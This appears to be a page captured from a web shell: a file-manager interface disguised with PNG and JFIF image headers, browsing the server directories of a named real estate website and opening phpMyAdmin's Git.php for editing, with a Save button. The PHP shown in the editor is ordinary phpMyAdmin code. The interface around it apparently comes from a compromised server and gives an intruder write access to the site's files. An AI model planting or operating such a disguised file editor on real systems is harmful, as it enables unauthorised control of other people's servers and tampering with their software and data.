�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2F'>www.immokaernten.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2F'>libraries</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2Fclasses%2F'>classes</a>/</p><hr><h3>✏️ Editing: Git.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

declare(strict_types=1);

namespace PhpMyAdmin;

use DateTimeImmutable;
use DateTimeZone;
use DirectoryIterator;
use PhpMyAdmin\Utils\HttpRequest;
use stdClass;

use function array_key_exists;
use function array_shift;
use function basename;
use function bin2hex;
use function count;
use function explode;
use function fclose;
use function file_exists;
use function file_get_contents;
use function fopen;
use function fread;
use function fseek;
use function function_exists;
use function gzuncompress;
use function implode;
use function in_array;
use function intval;
use function is_array;
use function is_bool;
use function is_dir;
use function is_file;
use function json_decode;
use function ord;
use function preg_match;
use function str_contains;
use function str_replace;
use function strlen;
use function strpos;
use function strtolower;
use function substr;
use function trim;
use function unpack;

use const DIRECTORY_SEPARATOR;
use const PHP_EOL;

/**
 * Git class to manipulate Git data
 */
class Git
{
    /**
     * Enable Git information search and process
     *
     * @var bool
     */
    private $showGitRevision;

    /**
     * The path where the to search for .git folders
     *
     * @var string
     */
    private $baseDir;

    /**
     * Git has been found and the data fetched
     *
     * @var bool
     */
    private $hasGit = false;

    public function __construct(bool $showGitRevision, ?string $baseDir = null)
    {
        $this-&gt;showGitRevision = $showGitRevision;
        $this-&gt;baseDir = $baseDir ?? ROOT_PATH;
    }

    public function hasGitInformation(): bool
    {
        return $this-&gt;hasGit;
    }

    /**
     * detects if Git revision
     *
     * @param string $git_location (optional) verified git directory
     */
    public function isGitRevision(&amp;$git_location = null): bool
    {
        if (! $this-&gt;showGitRevision) {
            return false;
        }

        // caching
        if (isset($_SESSION[&#039;is_git_revision&#039;]) &amp;&amp; array_key_exists(&#039;git_location&#039;, $_SESSION)) {
            // Define location using cached value
            $git_location = $_SESSION[&#039;git_location&#039;];

            return (bool) $_SESSION[&#039;is_git_revision&#039;];
        }

        // find out if there is a .git folder
        // or a .git file (--separate-git-dir)
        $git = $this-&gt;baseDir . &#039;.git&#039;;
        if (file_exists($this-&gt;baseDir . &#039;revision-info.php&#039;)) {
            $git_location = &#039;revision-info.php&#039;;
        } elseif (is_dir($git)) {
            if (! @is_file($git . &#039;/config&#039;)) {
                $_SESSION[&#039;git_location&#039;] = null;
                $_SESSION[&#039;is_git_revision&#039;] = false;

                return false;
            }

            $git_location = $git;
        } elseif (is_file($git)) {
            $contents = (string) file_get_contents($git);
            $gitmatch = [];
            // Matches expected format
            if (! preg_match(&#039;/^gitdir: (.*)$/&#039;, $contents, $gitmatch)) {
                $_SESSION[&#039;git_location&#039;] = null;
                $_SESSION[&#039;is_git_revision&#039;] = false;

                return false;
            }

            if (! @is_dir($gitmatch[1])) {
                $_SESSION[&#039;git_location&#039;] = null;
                $_SESSION[&#039;is_git_revision&#039;] = false;

                return false;
            }

            //Detected git external folder location
            $git_location = $gitmatch[1];
        } else {
            $_SESSION[&#039;git_location&#039;] = null;
            $_SESSION[&#039;is_git_revision&#039;] = false;

            return false;
        }

        // Define session for caching
        $_SESSION[&#039;git_location&#039;] = $git_location;
        $_SESSION[&#039;is_git_revision&#039;] = true;

        return true;
    }

    private function readPackFile(string $packFile, int $packOffset): ?string
    {
        // open pack file
        $packFileRes = fopen($packFile, &#039;rb&#039;);
        if ($packFileRes === false) {
            return null;
        }

        // seek to start
        fseek($packFileRes, $packOffset);

        // parse header
        $headerData = fread($packFileRes, 1);
        if ($headerData === false) {
            return null;
        }

        $header = ord($headerData);
        $type = ($header &gt;&gt; 4) &amp; 7;
        $hasnext = ($header &amp; 128) &gt;&gt; 7;
        $size = $header &amp; 0xf;
        $offset = 4;

        while ($hasnext) {
            $readData = fread($packFileRes, 1);
            if ($readData === false) {
                return null;
            }

            $byte = ord($readData);
            $size |= ($byte &amp; 0x7f) &lt;&lt; $offset;
            $hasnext = ($byte &amp; 128) &gt;&gt; 7;
            $offset += 7;
        }

        // we care only about commit objects
        if ($type != 1) {
            return null;
        }

        // read data
        $commit = fread($packFileRes, $size);
        fclose($packFileRes);

        if ($commit === false) {
            return null;
        }

        return $commit;
    }

    private function getPackOffset(string $packFile, string $hash): ?int
    {
        // load index
        $index_data = @file_get_contents($packFile);
        if ($index_data === false) {
            return null;
        }

        // check format
        if (substr($index_data, 0, 4) != &quot;\377tOc&quot;) {
            return null;
        }

        // check version
        $version = unpack(&#039;N&#039;, substr($index_data, 4, 4));
        if ($version[1] != 2) {
            return null;
        }

        // parse fanout table
        $fanout = unpack(
            &#039;N*&#039;,
            substr($index_data, 8, 256 * 4)
        );

        // find where we should search
        $firstbyte = intval(substr($hash, 0, 2), 16);
        // array is indexed from 1 and we need to get
        // previous entry for start
        if ($firstbyte == 0) {
            $start = 0;
        } else {
            $start = $fanout[$firstbyte];
        }

        $end = $fanout[$firstbyte + 1];

        // stupid linear search for our sha
        $found = false;
        $offset = 8 + (256 * 4);
        for ($position = $start; $position &lt; $end; $position++) {
            $sha = strtolower(
                bin2hex(
                    substr($index_data, $offset + ($position * 20), 20)
                )
            );
            if ($sha == $hash) {
                $found = true;
                break;
            }
        }

        if (! $found) {
            return null;
        }

        // read pack offset
        $offset = 8 + (256 * 4) + (24 * $fanout[256]);
        $packOffsets = unpack(
            &#039;N&#039;,
            substr($index_data, $offset + ($position * 4), 4)
        );

        return $packOffsets[1];
    }

    /**
     * Un pack a commit with gzuncompress
     *
     * @param string $gitFolder The Git folder
     * @param string $hash      The commit hash
     *
     * @return array|false|null
     */
    private function unPackGz(string $gitFolder, string $hash)
    {
        $commit = false;

        $gitFileName = $gitFolder . &#039;/objects/&#039;
            . substr($hash, 0, 2) . &#039;/&#039; . substr($hash, 2);
        if (@file_exists($gitFileName)) {
            $commit = @file_get_contents($gitFileName);

            if ($commit === false) {
                $this-&gt;hasGit = false;

                return null;
            }

            $commitData = gzuncompress($commit);
            if ($commitData === false) {
                return null;
            }

            $commit = explode(&quot;\0&quot;, $commitData, 2);
            $commit = explode(&quot;\n&quot;, $commit[1]);
            $_SESSION[&#039;PMA_VERSION_COMMITDATA_&#039; . $hash] = $commit;
        } else {
            $pack_names = [];
            // work with packed data
            $packs_file = $gitFolder . &#039;/objects/info/packs&#039;;
            $packs = &#039;&#039;;

            if (@file_exists($packs_file)) {
                $packs = @file_get_contents($packs_file);
            }

            if ($packs) {
                // File exists. Read it, parse the file to get the names of the
                // packs. (to look for them in .git/object/pack directory later)
                foreach (explode(&quot;\n&quot;, $packs) as $line) {
                    // skip blank lines
                    if (strlen(trim($line)) == 0) {
                        continue;
                    }

                    // skip non pack lines
                    if ($line[0] !== &#039;P&#039;) {
                        continue;
                    }

                    // parse names
                    $pack_names[] = substr($line, 2);
                }
            } else {
                // &#039;.git/objects/info/packs&#039; file can be missing
                // (at least in mysGit)
                // File missing. May be we can look in the .git/object/pack
                // directory for all the .pack files and use that list of
                // files instead
                $dirIterator = new DirectoryIterator($gitFolder . &#039;/objects/pack&#039;);
                foreach ($dirIterator as $file_info) {
                    $file_name = $file_info-&gt;getFilename();
                    // if this is a .pack file
                    if (! $file_info-&gt;isFile() || substr($file_name, -5) !== &#039;.pack&#039;) {
                        continue;
                    }

                    $pack_names[] = $file_name;
                }
            }

            $hash = strtolower($hash);
            foreach ($pack_names as $pack_name) {
                $index_name = str_replace(&#039;.pack&#039;, &#039;.idx&#039;, $pack_name);

                $packOffset = $this-&gt;getPackOffset($gitFolder . &#039;/objects/pack/&#039; . $index_name, $hash);
                if ($packOffset === null) {
                    continue;
                }

                $commit = $this-&gt;readPackFile($gitFolder . &#039;/objects/pack/&#039; . $pack_name, $packOffset);
                if ($commit !== null) {
                    $commit = gzuncompress($commit);
                    if ($commit !== false) {
                        $commit = explode(&quot;\n&quot;, $commit);
                    }
                }

                $_SESSION[&#039;PMA_VERSION_COMMITDATA_&#039; . $hash] = $commit;
            }
        }

        return $commit;
    }

    /**
     * Extract committer, author and message from commit body
     *
     * @param string[] $commit The commit body
     *
     * @return array&lt;int,array&lt;string,string&gt;|string&gt;
     */
    public static function extractDataFormTextBody(array $commit): array
    {
        $author = [
            &#039;name&#039; =&gt; &#039;&#039;,
            &#039;email&#039; =&gt; &#039;&#039;,
            &#039;date&#039; =&gt; &#039;&#039;,
        ];
        $committer = [
            &#039;name&#039; =&gt; &#039;&#039;,
            &#039;email&#039; =&gt; &#039;&#039;,
            &#039;date&#039; =&gt; &#039;&#039;,
        ];

        do {
            $dataline = array_shift($commit);
            $datalinearr = explode(&#039; &#039;, $dataline, 2);
            $linetype = $datalinearr[0];
            if (! in_array($linetype, [&#039;author&#039;, &#039;committer&#039;])) {
                continue;
            }

            $user = $datalinearr[1];
            preg_match(&#039;/([^&lt;]+)&lt;([^&gt;]+)&gt; ([0-9]+)( [^ ]+)?/&#039;, $user, $user);
            $timezone = new DateTimeZone($user[4] ?? &#039;+0000&#039;);
            $date = (new DateTimeImmutable())-&gt;setTimestamp((int) $user[3])-&gt;setTimezone($timezone);

            $user2 = [
                &#039;name&#039; =&gt; trim($user[1]),
                &#039;email&#039; =&gt; trim($user[2]),
                &#039;date&#039; =&gt; $date-&gt;format(&#039;Y-m-d H:i:s O&#039;),
            ];

            if ($linetype === &#039;author&#039;) {
                $author = $user2;
            } elseif ($linetype === &#039;committer&#039;) {
                $committer = $user2;
            }
        } while ($dataline != &#039;&#039;);

        $message = trim(implode(&#039; &#039;, $commit));

        return [$author, $committer, $message];
    }

    /**
     * Is the commit remote
     *
     * @param mixed  $commit         The commit
     * @param bool   $isRemoteCommit Is the commit remote ?, will be modified by reference
     * @param string $hash           The commit hash
     *
     * @return stdClass|null The commit body from the GitHub API
     */
    private function isRemoteCommit(&amp;$commit, bool &amp;$isRemoteCommit, string $hash): ?stdClass
    {
        $httpRequest = new HttpRequest();

        // check if commit exists in Github
        if ($commit !== false &amp;&amp; isset($_SESSION[&#039;PMA_VERSION_REMOTECOMMIT_&#039; . $hash])) {
            $isRemoteCommit = $_SESSION[&#039;PMA_VERSION_REMOTECOMMIT_&#039; . $hash];

            return null;
        }

        $link = &#039;https://www.phpmyadmin.net/api/commit/&#039; . $hash . &#039;/&#039;;
        $is_found = $httpRequest-&gt;create($link, &#039;GET&#039;);
        if ($is_found === false) {
            $isRemoteCommit = false;
            $_SESSION[&#039;PMA_VERSION_REMOTECOMMIT_&#039; . $hash] = false;

            return null;
        }

        if ($is_found === null) {
            // no remote link for now, but don&#039;t cache this as GitHub is down
            $isRemoteCommit = false;

            return null;
        }

        $isRemoteCommit = true;
        $_SESSION[&#039;PMA_VERSION_REMOTECOMMIT_&#039; . $hash] = true;
        if ($commit === false) {
            // if no local commit data, try loading from Github
            return json_decode((string) $is_found);
        }

        return null;
    }

    private function getHashFromHeadRef(string $gitFolder, string $refHead): array
    {
        $branch = false;

        // are we on any branch?
        if (! str_contains($refHead, &#039;/&#039;)) {
            return [trim($refHead), $branch];
        }

        // remove ref: prefix
        $refHead = substr(trim($refHead), 5);
        if (strpos($refHead, &#039;refs/heads/&#039;) === 0) {
            $branch = substr($refHead, 11);
        } else {
            $branch = basename($refHead);
        }

        $refFile = $gitFolder . &#039;/&#039; . $refHead;
        if (@file_exists($refFile)) {
            $hash = @file_get_contents($refFile);
            if ($hash === false) {
                $this-&gt;hasGit = false;

                return [null, null];
            }

            return [trim($hash), $branch];
        }

        // deal with packed refs
        $packedRefs = @file_get_contents($gitFolder . &#039;/packed-refs&#039;);
        if ($packedRefs === false) {
            $this-&gt;hasGit = false;

            return [null, null];
        }

        // split file to lines
        $refLines = explode(PHP_EOL, $packedRefs);
        foreach ($refLines as $line) {
            // skip comments
            if ($line[0] === &#039;#&#039;) {
                continue;
            }

            // parse line
            $parts = explode(&#039; &#039;, $line);
            // care only about named refs
            if (count($parts) != 2) {
                continue;
            }

            // have found our ref?
            if ($parts[1] == $refHead) {
                $hash = $parts[0];
                break;
            }
        }

        if (! isset($hash)) {
            $this-&gt;hasGit = false;

            // Could not find ref
            return [null, null];
        }

        return [$hash, $branch];
    }

    private function getCommonDirContents(string $gitFolder): ?string
    {
        if (! is_file($gitFolder . &#039;/commondir&#039;)) {
            return null;
        }

        $commonDirContents = @file_get_contents($gitFolder . &#039;/commondir&#039;);
        if ($commonDirContents === false) {
            return null;
        }

        return trim($commonDirContents);
    }

    /**
     * @return array&lt;string, string|array&lt;string, string&gt;&gt;|null
     * @psalm-return array{
     *        revision: string,
     *        revisionHash: string,
     *        revisionUrl: string,
     *        branch: string,
     *        branchUrl: string,
     *        message: string,
     *        author: array{
     *            name: string,
     *            email: string,
     *            date: string
     *        },
     *        committer: array{
     *            name: string,
     *            email: string,
     *            date: string
     *        }
     * }|null
     */
    public function getGitRevisionInfo(): ?array
    {
        if (@file_exists($this-&gt;baseDir . &#039;revision-info.php&#039;)) {
            /** @var array{ revision: string, revisionHash: string, revisionUrl: string, branch: string, branchUrl: string, message: string, author: array{ name: string, email: string, date: string }, committer: array{ name: string, email: string, date: string }}|null $info */
            /** @psalm-suppress MissingFile,UnresolvableInclude */
            $info = include $this-&gt;baseDir . &#039;revision-info.php&#039;;

            if (! is_array($info)) {
                return null;
            }

            return $info;
        }

        return null;
    }

    /**
     * detects Git revision, if running inside repo
     */
    public function checkGitRevision(): ?array
    {
        // find out if there is a .git folder
        $gitFolder = &#039;&#039;;
        if (! $this-&gt;isGitRevision($gitFolder)) {
            $this-&gt;hasGit = false;

            return null;
        }

        // Special name to indicate the use of the config file
        if ($gitFolder === &#039;revision-info.php&#039;) {
            $info = $this-&gt;getGitRevisionInfo();

            if ($info === null) {
                return null;
            }

            $this-&gt;hasGit = true;

            return [
                &#039;hash&#039; =&gt; $info[&#039;revisionHash&#039;],
                &#039;branch&#039; =&gt; $info[&#039;branch&#039;],
                &#039;message&#039; =&gt; $info[&#039;message&#039;],
                &#039;author&#039; =&gt; [
                    &#039;name&#039; =&gt; $info[&#039;author&#039;][&#039;name&#039;],
                    &#039;email&#039; =&gt; $info[&#039;author&#039;][&#039;email&#039;],
                    &#039;date&#039; =&gt; $info[&#039;author&#039;][&#039;date&#039;],
                ],
                &#039;committer&#039; =&gt; [
                    &#039;name&#039; =&gt; $info[&#039;committer&#039;][&#039;name&#039;],
                    &#039;email&#039; =&gt; $info[&#039;committer&#039;][&#039;email&#039;],
                    &#039;date&#039; =&gt; $info[&#039;committer&#039;][&#039;date&#039;],
                ],
                // Let&#039;s make the guess that the data is remote
                // The write script builds a remote commit url without checking that it exists
                &#039;is_remote_commit&#039; =&gt; true,
                &#039;is_remote_branch&#039; =&gt; true,
            ];
        }

        $ref_head = @file_get_contents($gitFolder . &#039;/HEAD&#039;);

        if (! $ref_head) {
            $this-&gt;hasGit = false;

            return null;
        }

        $commonDirContents = $this-&gt;getCommonDirContents($gitFolder);
        if ($commonDirContents !== null) {
            $gitFolder .= DIRECTORY_SEPARATOR . $commonDirContents;
        }

        [$hash, $branch] = $this-&gt;getHashFromHeadRef($gitFolder, $ref_head);
        if ($hash === null) {
            return null;
        }

        $commit = false;
        if (! preg_match(&#039;/^[0-9a-f]{40}$/i&#039;, $hash)) {
            $commit = false;
        } elseif (isset($_SESSION[&#039;PMA_VERSION_COMMITDATA_&#039; . $hash])) {
            $commit = $_SESSION[&#039;PMA_VERSION_COMMITDATA_&#039; . $hash];
        } elseif (function_exists(&#039;gzuncompress&#039;)) {
            $commit = $this-&gt;unPackGz($gitFolder, $hash);
            if ($commit === null) {
                return null;
            }
        }

        $is_remote_commit = false;
        $commit_json = $this-&gt;isRemoteCommit(
            $commit, // Will be modified if necessary by the function
            $is_remote_commit, // Will be modified if necessary by the function
            $hash
        );

        $is_remote_branch = false;
        if ($is_remote_commit &amp;&amp; $branch !== false) {
            // check if branch exists in Github
            if (isset($_SESSION[&#039;PMA_VERSION_REMOTEBRANCH_&#039; . $hash])) {
                $is_remote_branch = $_SESSION[&#039;PMA_VERSION_REMOTEBRANCH_&#039; . $hash];
            } else {
                $httpRequest = new HttpRequest();
                $link = &#039;https://www.phpmyadmin.net/api/tree/&#039; . $branch . &#039;/&#039;;
                $is_found = $httpRequest-&gt;create($link, &#039;GET&#039;, true);
                if (is_bool($is_found)) {
                    $is_remote_branch = $is_found;
                    $_SESSION[&#039;PMA_VERSION_REMOTEBRANCH_&#039; . $hash] = $is_found;
                }

                if ($is_found === null) {
                    // no remote link for now, but don&#039;t cache this as Github is down
                    $is_remote_branch = false;
                }
            }
        }

        if ($commit !== false) {
            [$author, $committer, $message] = self::extractDataFormTextBody($commit);
        } elseif (isset($commit_json-&gt;author, $commit_json-&gt;committer, $commit_json-&gt;message)) {
            $author = [
                &#039;name&#039; =&gt; $commit_json-&gt;author-&gt;name,
                &#039;email&#039; =&gt; $commit_json-&gt;author-&gt;email,
                &#039;date&#039; =&gt; $commit_json-&gt;author-&gt;date,
            ];
            $committer = [
                &#039;name&#039; =&gt; $commit_json-&gt;committer-&gt;name,
                &#039;email&#039; =&gt; $commit_json-&gt;committer-&gt;email,
                &#039;date&#039; =&gt; $commit_json-&gt;committer-&gt;date,
            ];
            $message = trim($commit_json-&gt;message);
        } else {
            $this-&gt;hasGit = false;

            return null;
        }

        $this-&gt;hasGit = true;

        return [
            &#039;hash&#039; =&gt; $hash,
            &#039;branch&#039; =&gt; $branch,
            &#039;message&#039; =&gt; $message,
            &#039;author&#039; =&gt; $author,
            &#039;committer&#039; =&gt; $committer,
            &#039;is_remote_commit&#039; =&gt; $is_remote_commit,
            &#039;is_remote_branch&#039; =&gt; $is_remote_branch,
        ];
    }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2Fclasses'>🔙 Back</a></p>